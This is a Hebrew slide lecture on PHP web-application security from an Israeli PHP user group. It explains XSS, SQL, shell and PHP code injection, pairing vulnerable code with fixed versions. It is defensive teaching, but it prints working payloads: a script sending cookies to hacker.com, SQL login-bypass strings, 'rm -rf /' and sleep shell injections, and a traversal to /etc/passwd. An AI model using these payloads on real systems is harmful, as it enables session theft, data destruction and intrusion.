34
.Copyright © 2007, Zend Technologies Inc שחר עברון,PHP אפליקציות ווב ואבטחה חלק I

PHP ואבטחה - חלק ראשון

Embed Size (px)

DESCRIPTION

הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.A lecture in Hebrew about PHP and security from a meeting of the Israeli PHP User Group.

Citation preview

Page 1: PHP ואבטחה - חלק ראשון

.Copyright © 2007, Zend Technologies Inc

שחר עברון

,PHPאפליקציות ווב ואבטחהIחלק 

Page 2: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 2 PHPואבטחה

?מתי? מה? מי

היא נושא טעון, במיוחד- PHP וב- web, אבטחה ב•ה, מצד אחד web -שחלק גדול ממנו הוא, מכיל הרבה מאוד מידע

)כזה שמשתלם לגנוב אותו(בעל ערך / אישי / רגיש 

ה, מצד שני web -שבו אין חוקים והכל  מערב פרוע “הוא סוג של  ”יכול לקרות

PHPהיא אחת השפות הפופולריות ביותר ב ,web -בייחוד אצלמתכנתים מתחילים שפחות מודעים לסכנות

רוב האפליקציות שנכתבות ב PHP -קל יותר, לכן. הם תוכנה חופשיתלאתר פרצות אבטחה

לפתור בעיות אבטחה) לא מאוד מוצלחים(היו מספר נסיונות , בעברברמת השפה

Page 3: PHP ואבטחה - חלק ראשון

כללים בסיסיים

Page 4: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 4 PHPואבטחה

?מה זה אבטחה ובשביל מה זה טוב

חשוב קודם כל להבין מה זה, בשביל לפתור בעיות אבטחה•בעיות אבטחה “בדיוק  ”:

אובדן פוטנציאלי של מידע רגיש

אובדן פוטנציאלי של שעות עבודה

 אובדן פוטנציאלי שלuptime

== רווחאובדן פוטנציאלי של

מ למנוע• “אבטחה היא אוסף של אמצעים שעלינו לנקות עאובדן פוטנציאלי של רווחאו לצמצם 

Page 5: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 5 PHPואבטחה

גישה נכונה לאבטחת אפליקציות ווב

-100%אפליקציה לעולם לא תהיה מאובטחת ב•זו תהיה טעות קונספטואלית לחשוב ככה, וגם אם כן...

 נקיטה של מספר אמצעים חופפים כדי להשיג• –גישת עומק טובה יותראבטחה 

מודעות למה שאנחנו לא מודעים אליו• 100% היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד

מאובטח!ארכיטקטורה יותר חשובה מאבטחה== •

Page 6: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 6 PHPואבטחה

!לעולם אסור לבטוח במידע חיצוני

?אבל מה זה בדיוק מידע חיצוני•GET, POST, COOKIEFILES, SERVER ,ENVקבצים על הדיסק , בסיס נתונים

“אין ספק  !“–אם יש ספק 

?מה עושים עם מידע חיצוני•  - validationבדיקת תקינות filtering, –סינון 

•  מותריםHTML Tags לדוגמה whitelisting – –רשימה לבנה 

•  לדוגמה מילים אסורות בפורוםblacklisting – –רשימה שחורה 

 ף - escapingהתאמה לפורמט נדרש - ּחילו

Page 7: PHP ואבטחה - חלק ראשון

מאובטחתPHP סביבת 

Page 8: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 8 PHPואבטחה

display_errors

: Onבפיתוח• משגיאותנקי לחלוטין קוד

 הודעות NOTICEחורי ”מעידות לעיתים קרובות על   )הודעות על משתנים לא מאותחלים: לדוגמה(“אבטחה

: Offבזמן ריצה•מניעה של זליגת מידע פנימי אל המבקרים באתר

 זה לא נראה טוב(-;

Page 9: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 9 PHPואבטחה

register_globals

באופן-global scope ירשום משתנים ב, PHP כאשר פועל•'. וכוGET, POST, COOKIE אוטומטי לכל משתנה 

מכובה כברירת(לא נמצא בשימוש רב בשנים האחרונות •אבל עדיין אפשר למצוא אפליקציות4.2) מחדל מאז 

 על  סומכות “ש “.register_globals

הזרקה•  מאפשר  “פותח פרצות אבטחה פוטניאליות רבות  ” –- global namespaceשל משתנים לתוך ה

חובה לאתחל את כל המשתנים  –אם חייבים להתשמש (! E_NOTICE)

:הרגל רע גם מסיבות אחרות• קוד לא נייד(portable)

DeprecatedבPHP 6.0 -

Page 10: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 10 PHPואבטחה

magic_quotes_gpc

('),לפני כל גרש (backslash) יוסיף לוכסן , PHP אם מופעל•- GET, POSTשנכנסים ב- null ו(\) לוכסן אחורי (”), גרשיים 

- COOKIE.ו

 שהיה אמור למנוע 'פיצ“• ברמת השפהSQL Injections “ר

מספק פתרון חלקי ביותר, בפועל•אין תמיכה בקידודים שונים

אין תמיכה בכל בסיסי הנתונים השונים

 תמיד עדיף להשתמש בפונקציית escapingייעודית

יש עוד סיבות לכבות חוץ מאבטחה•רע מבחינת ביצועים

ייבוטל ב, לא פורטביליPHP 6.0 -

magic_quotes_gpcלהתבסס על לא , בקיצור•

Page 11: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 11 PHPואבטחה

allow_url_*

• allow_url_fopenמאפשרת פתיחה של קבצים מרוחקים בעזרת הstream wrappers -

בפונקציות התומכות בכך') וכוHTTP, FTP, SSH כ "בד(הנתמכים  ,fopen, file_get_contents)ועוד רבות.(

כדאי בהחלט לכבות אם לא צריך, פועל כברירת מחדל

•allow_url_include של קוד הרצה מאפשרת PHP מרוחק דרךstream wrappers

 קיים מאזPHP 5.2

כבוי כברירת מחדל

Code injection waiting to happenאיזה סיבה לעזאזל יש למישהו להפעיל דבר כזה!?!?

Page 12: PHP ואבטחה - חלק ראשון

התקפות הזרקה Injection Attacks

Page 13: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 13 PHPואבטחה

Cross-Site Scripting - XSS

client-side הזרקה של קוד •HTMLCSSJavaScript

אחת החולשות הנפוצות ביותר•

י הדפדפן/ התוקף שותל קוד זדוני שיפורש ויוצג • “יופעל עשל הקורבן

 השחתה•  להתקפות נוספות  מקפצה –יכולה לשמש כ “ “, ,phishing, session hijackingגניבת סיסמאות וכו'

•   persistent –קבועה  non-persistent–לעומת זמנית 

Page 14: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 14 PHPואבטחה

- XSSדוגמה

<body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? $_GET['q'] : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo $_GET['q']; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> </body>

- XSSכל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל•

Page 15: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 15 PHPואבטחה

- XSSדוגמה

JavaScript:בעזרת הזרקת קוד session ID גניבת •

<script>alert(document.cookie);</script> <script>i=new Image(); i.src='http://hacker.com/owned.php?' +

document.cookie;</script>

Page 16: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 16 PHPואבטחה

Cross-Site Scripting - XSS

קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות

htmlspecialchars()htmlentities()

חובה לסנן את הקלטHTML, במקרים בהם רוצים להרשות •"רשימה לבנה"לפי 

 לדוגמה - להרשות רק תגים מסויימיםstrong, em, u, div, a, span

 להרשות רק attributes לדוגמה - מסוימים href ולאstyle

 יש ספריות מוכנות לסינוןHTML•http://htmlpurifier.org

 אפשר לבצע לבד בקלות בעזרת tidy אוDOM

Page 17: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 17 PHPואבטחה

– XSSדוגמה מתוקנת

Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET['q']); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?>

לפני הדפסה- htmlspecialchars שימוש ב•

Page 18: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 18 PHPואבטחה

SQL Injection

הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס•SQLהנתונים ויפורש שם כקוד 

:לדוגמה, יכול להוות בסיס לפעילויות שונות•עקיפה של סיסמאות ושינוי הרשאות

שינוי נתונים

 השחתה של בסיס הנתונים(DOS)

 מחיקה של בסיס הנתונים(DOS)

 הרבה מאוד אפליקציות ווב מעבירות• –בעיה נפוצה מאוד קלט מהמשתמש אל בסיס הנתונים

Page 19: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 19 PHPואבטחה

– SQL Injectionדוגמה

$username = $_POST['username']; $password = $_POST['password'];

$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);

בדיקה/ ללא חילוף - SQL שליחה של מידע חיצוני כחלק מ•

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עעקיפה של מנגנון הסיסמה:

username=' OR '' = '

password=') OR MD5('') = MD5('

ניתן לבצע גם השחתה של בסיס הנתונים ,DOS ,שינוי נתונים.וסיסמאות ועוד

Page 20: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 20 PHPואבטחה

SQL Injection

:קל מאוד למנוע בעזרת חילוף, כמו כל התקפות ההזרקה• פונקציות escapingייעודיות של בסיס הנתונים

•mysql_real_escape_string•pg_escape_string

'וכו•

Casting to integer / floatPDO-<quote() addslashes()לא טוב מספיק!

•Prepared StatementsPDO, MySQLiבהרבה מקרים עדיף גם מבחינת ביצועים

Page 21: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 21 PHPואבטחה

– SQL Injectionקוד תקין

$con = mysql_connect('....'); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']);

$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);

•  mysql–חילוף 

•  PDO–חילוף 

$pdo = new PDO("mysql:dbname=mydb", 'user', 'password'); $username = $pdo->quote($_POST['username']); $password = $pdo->quote($_POST['password']);

Page 22: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 22 PHPואבטחה

– SQL Injectionקוד תקין

$user_id = (int) $_GET['user_id']; $sql = "SELECT * FROM users WHERE id = $user_id";

- Integerהמרה ל•

•Prepared statement - PDO$pdo = new PDO("mysql:dbname=mydb", 'user', 'password');

$stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)" );

$result = $stmt->execute(array( 'username' => $username, 'password' => $password) );

Page 23: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 23 PHPואבטחה

Shell Command Injection

תוך ניצול של" מערכת ההפעלה"הזרקה של קוד אל •שמריצות פקודות מערכתPHP פקודות 

 אופרטור(``) backtick

 משפחתexec()

 אבל חשוב מאוד להיזהר כאשר מכניסים• –לא נפוץ מאוד מפני שהסכנות גדולות מאוד, פרמטרים לתוך פקודות אלו

Page 24: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 24 PHPואבטחה

- Shell Injectionדוגמה

שימוש במידע חיצוני בפקודות מערכת•

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עמחיקה של כל הקבצים שיש לשרת גישה אליהם:

path=foo; rm -rf /

:Denial of Servicepath=foo; sleep 315360000

...בעיקרון ניתן להריץ כמעט כל פקודת מערכת

// Get a listing of a public directory $folder = $_GET['path']; echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';

Page 25: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 25 PHPואבטחה

Shell Command Injection

קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות

escapeshellarg()escapeshellcmd()השניה לא מחליפה רווחים  –ההבדל ביניהם 

כדאי, אם מכניסים קלט מהמשתמש לתוך פקודות מערכת•ובווידוא שהקלט- whitelist filtering מאוד להשתמש ב

תקין

Page 26: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 26 PHPואבטחה

– Shell Injectionקוד תקין

$folder = escapeshellarg($_GET['path']); echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';

 פרמטר בודד• –חילוף 

 כל הפקודה• –חילוף 

$cmd = escapeshellcmd("ls -l /ftp/public/$folder"); echo '<pre>'; passthru($cmd); echo '</pre>';

Page 27: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 27 PHPואבטחה

– Shell Injectionקוד תקין

// White-list filtering: $allowed_paths = array( 'videos', 'images', 'music', 'books', 'uploads'); if (in_array($_GET['path'], $allowed_paths)) { $folder = $_GET['path'];

echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; }

סינון לפי רשימה לבנה•

Page 28: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 28 PHPואבטחה

PHP Code Injection

לתוך התוכניתPHP הזרקה של קוד •

:פונקציות שצריך לשים אליהם לב•קריאות ל include - או requireעם שם קובץ משתנה

- allow_url_include=Onרגיש בעיקר כש•

eval() preg_replace() עם/e

create_function()

חשוב מאוד, כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ- white-list filteringוvalidation לבצע 

Page 29: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 29 PHPואבטחה

- PHP Code Injectionדוגמה

י ניצול • include“קריאת קבצים ע

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עקבלת רשימה של כל המשתמשים במערכת ההפעלה:

template=../../../../../../../../etc/passwd

קוד זה מאפשר ,מופעלallow_url_include אם •שרירותי על השרתPHP הרצה של קוד 

$tpl = $_GET['template']; include 'templates/' . $tpl;

Page 30: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 30 PHPואבטחה

– PHP Code Injectionקוד תקין

י סינון לפי רשימה לבנה• :“המנעות ע

באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק•'וכוinclude, eval מפקודות כמו 

$templates = array( 'blue' => 'templates/blue.phtml', 'aqua' => 'templates/aqua.phtml', 'ugly' => 'templates/ugly.phtml' );

$tpl = (isset($templates[$_GET['template']]) ? $templates[$_GET['template']] : 'templates/blue.phtml');

include $tpl;

Page 31: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 31 PHPואבטחה

 התקפות הזרקה –סיכום 

- webהתקפות הזרקה הם כנראה הנפוצות ביותר ב•יחסית קל לאתר ולפתור אותן : החדשות הטובות

וגם באופן הטיפול בהן, כל התקפות ההזרקה דומות באופיין•

“ולאן הוא הולך- data דע מאין בא ה"•האם אפשר לבטוח במקור הנתונים?

מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?

י סינון קלט טוב רק במקרים• “טיפול בהתקפות הזרקה עמסוימים

 כ חילוף עדיף(output escaping) “בד

Page 32: PHP ואבטחה - חלק ראשון

?שאלות

Page 33: PHP ואבטחה - חלק ראשון

| J an 19, 2008 | 33 PHPואבטחה

IIבחלק 

Sessionהתקפות •Session InjectionSession Hijacking

טעויות לוגיות ותכנותיות•CSRFחשיפת קבצים סטטיים

גישות ואמצעי אבטחה כלליים•

shared hostingאבטחה בסביבת •

Page 34: PHP ואבטחה - חלק ראשון

תודה רבה!ושנה טובה